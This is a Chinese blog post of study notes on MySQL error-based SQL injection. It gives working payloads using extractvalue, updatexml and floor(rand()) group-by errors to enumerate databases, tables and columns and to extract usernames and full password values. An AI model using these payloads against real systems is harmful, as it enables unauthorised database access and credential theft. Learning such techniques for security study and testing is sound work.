sql注入笔记3

报错注入
通过ExtractValue报错
and extractvalue(1,(payload)) //两个参数第一个参数是字符串格式,第二个参数是Xpath格式的字符串,如果格式不符合会报错

and extractvalue(1,concat(0x7e,(select@@version),0x7e))
输出的时候如果第二个参数加了payload且格式出错,那么extractvalue就会把第二个参数相应的payload执行的信息报错出来

select * from users where id =1 and extractvalue(1,concat(0x23,database(),0x23))
通过concat字符串拼接函数拼接#号,既让页面报错也让database()解析

select * from users where id =1 and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=‘baji’ limit 0,1),0x23))
查询数据库为baji的表名

select * from users where id =1 and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_schema=‘baji’ and table_name=‘users’ limit 0,1),0x23))
查询数据库为baji表名为users中的字段

select * from users where id =1 and extractvalue(1,concat(0x23,(select username from users limit 0,1),0x23))
得到用户名

select * from users where id =1 and extractvalue(1,concat(0x23,(select password from users limit 0,1),0x23))
得到密码,但是此时的密码是不完整的,缺了一位 因为只能显示32位

此时可以用substr(str,1,1)函数 第一个参数是要截取的字符串,第二个参数是截取的开始位置,弟三个参数是截取的长度
select * from users where id =1 and extractvalue(1,concat(0x23,substr((select password from users limit 0,1),32,1),0x23))

通过UpdateXML函数报错
与extractvalue基本一样
and updatexml(1,(payload),1) 第一个第三个参数是字符串,中间是xpath格式
and updatexml(1,concat(0x23,database(),0x23),3)

floor() 报错注入
and (select 1 from (select count(*),concat(database(),floor(rand(0)*2)) as x from information_schema.tables group by x));

floor()向下取整 rand()生产0~1之间随机数 count()返回表中记录次数

必须最少三条数据才可以报错,rand(0)*2执行的随机因子是固定的是011011… 当第一次group by查询表中的第一个字段的时候,查询的key值是0,此时count()函数第一次执行所以里面没有数据,当group by没有查询到0时,会进行插入数据,此时插入数据会第二次执行rand(0)*2,就把1插入进去了,接着查询第二个字段,group by查询的key值是1,就把1的次数加一,接着查询第三个字段group by又没有查询到0,然后进行插入,插入时rand(0)*2又执行了一边,所以当前的key值是1,插入的也是1,因为已经有1了所以接着插入1,key值相同了会报错

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值